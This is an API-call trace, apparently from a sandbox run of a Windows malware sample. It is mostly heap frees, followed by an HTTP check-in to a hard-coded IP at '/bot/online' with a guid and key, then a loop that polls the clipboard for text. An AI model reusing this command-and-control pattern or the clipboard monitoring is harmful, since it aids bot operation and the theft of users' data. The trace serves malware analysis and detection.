[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb0f8 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d03d0 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfcb0 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d03a8 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1500 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0470 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe798 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb018 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fae18 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fadb8 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0588 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faf18 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0330 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfc68 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0498 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1680 | out: hHeap=0x6a0000) returned 1
[0263.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0560 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe568 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faf38 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fae98 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faeb8 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d53a8 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb118 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5420 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfcc8 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0420 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d16b0 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d53d0 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe370 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb038 | out: hHeap=0x6a0000) returned 1
[0263.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faed8 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faf58 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5010 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faf98 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d51a0 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfce0 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5088 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d18c0 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5100 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe3a8 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb0b8 | out: hHeap=0x6a0000) returned 1
[0263.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1770 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4fc0 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe338 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fafd8 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fadf8 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb138 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5470 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fadd8 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5038 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfcf8 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d53f8 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5240 | out: hHeap=0x6a0000) returned 1
[0263.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe108 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d19b0 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5448 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe0d0 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faef8 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faf78 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb098 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5060 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fafb8 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4fe8 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf7e8 | out: hHeap=0x6a0000) returned 1
[0263.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d52b8 | out: hHeap=0x6a0000) returned 1
[0263.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d51c8 | out: hHeap=0x6a0000) returned 1
[0263.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe728 | out: hHeap=0x6a0000) returned 1
[0263.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1a40 | out: hHeap=0x6a0000) returned 1
[0263.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4f98 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe450 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb058 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c2770 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5c80 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d52e0 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5c60 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d50b0 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf698 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5358 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1a70 | out: hHeap=0x6a0000) returned 1
[0263.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d51f0 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe6b8 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5de0 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5ee0 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5ce0 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5178 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5e60 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5128 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf608 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d50d8 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d19e0 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5218 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe760 | out: hHeap=0x6a0000) returned 1
[0263.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5ea0 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5dc0 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5ca0 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5308 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5e40 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5268 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf5d8 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5290 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1980 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5150 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe140 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5e80 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5f00 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5d80 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5740 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5be0 | out: hHeap=0x6a0000) returned 1
[0263.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d54c0 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf7a0 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5330 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1a10 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5380 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe3e0 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5d20 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5f20 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5ba0 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5600 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5d60 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d56f0 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf890 | out: hHeap=0x6a0000) returned 1
[0263.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d55d8 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1950 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5538 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe418 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5f40 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5c20 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5d40 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5498 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5cc0 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d55b0 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf758 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5628 | out: hHeap=0x6a0000) returned 1
[0263.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5560 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe488 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d18f0 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5588 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe4c0 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5ec0 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5c00 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5bc0 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d54e8 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5da0 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5678 | out: hHeap=0x6a0000) returned 1
[0263.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf800 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5650 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1920 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5718 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe2c8 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5d00 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5e00 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5c40 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc3c0 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5e20 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d56c8 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf620 | out: hHeap=0x6a0000) returned 1
[0263.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5510 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db718 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d56a0 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe1e8 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5980 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d57a0 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5a00 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc578 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d59c0 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc370 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf6f8 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc488 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db748 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc3e8 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe178 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5840 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5b20 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5920 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc2d0 | out: hHeap=0x6a0000) returned 1
[0263.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5b60 | out: hHeap=0x6a0000) returned 1
[0263.955] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0263.955] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0263.956] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/online?guid=XC64ZB\\\\\x0f&key=bc2dceabe69fa26dbf4dd8295d65e03e1990633a88c1c8410825c9266b239396", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0263.956] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0264.029] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbb4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbb4*=0xd) returned 1
[0264.030] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbb4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbb4*=0x0) returned 1
[0264.031] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0264.031] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0264.031] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0264.031] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.031] GetClipboardData (uFormat=0x1) returned 0x0
[0264.032] CloseClipboard () returned 1
[0264.032] Sleep (dwMilliseconds=0x32)
[0264.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8570b12, dwHighDateTime=0x1d96e12))
[0264.042] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.042] GetClipboardData (uFormat=0x1) returned 0x0
[0264.042] CloseClipboard () returned 1
[0264.042] Sleep (dwMilliseconds=0x32)
[0264.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8596d5b, dwHighDateTime=0x1d96e12))
[0264.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.054] GetClipboardData (uFormat=0x1) returned 0x0
[0264.054] CloseClipboard () returned 1
[0264.054] Sleep (dwMilliseconds=0x32)
[0264.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf85bcfb1, dwHighDateTime=0x1d96e12))
[0264.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.071] GetClipboardData (uFormat=0x1) returned 0x0
[0264.071] CloseClipboard () returned 1
[0264.071] Sleep (dwMilliseconds=0x32)
[0264.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf85e3213, dwHighDateTime=0x1d96e12))
[0264.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.086] GetClipboardData (uFormat=0x1) returned 0x0
[0264.086] CloseClipboard () returned 1
[0264.086] Sleep (dwMilliseconds=0x32)
[0264.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8609460, dwHighDateTime=0x1d96e12))
[0264.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.101] GetClipboardData (uFormat=0x1) returned 0x0
[0264.102] CloseClipboard () returned 1
[0264.102] Sleep (dwMilliseconds=0x32)
[0264.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf862f6c1, dwHighDateTime=0x1d96e12))
[0264.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.118] GetClipboardData (uFormat=0x1) returned 0x0
[0264.118] CloseClipboard () returned 1
[0264.118] Sleep (dwMilliseconds=0x32)
[0264.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8655917, dwHighDateTime=0x1d96e12))
[0264.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.133] GetClipboardData (uFormat=0x1) returned 0x0
[0264.133] CloseClipboard () returned 1
[0264.133] Sleep (dwMilliseconds=0x32)
[0264.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf867bb74, dwHighDateTime=0x1d96e12))
[0264.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.148] GetClipboardData (uFormat=0x1) returned 0x0
[0264.148] CloseClipboard () returned 1
[0264.148] Sleep (dwMilliseconds=0x32)
[0264.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf86a1dcf, dwHighDateTime=0x1d96e12))
[0264.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.165] GetClipboardData (uFormat=0x1) returned 0x0
[0264.165] CloseClipboard () returned 1
[0264.165] Sleep (dwMilliseconds=0x32)
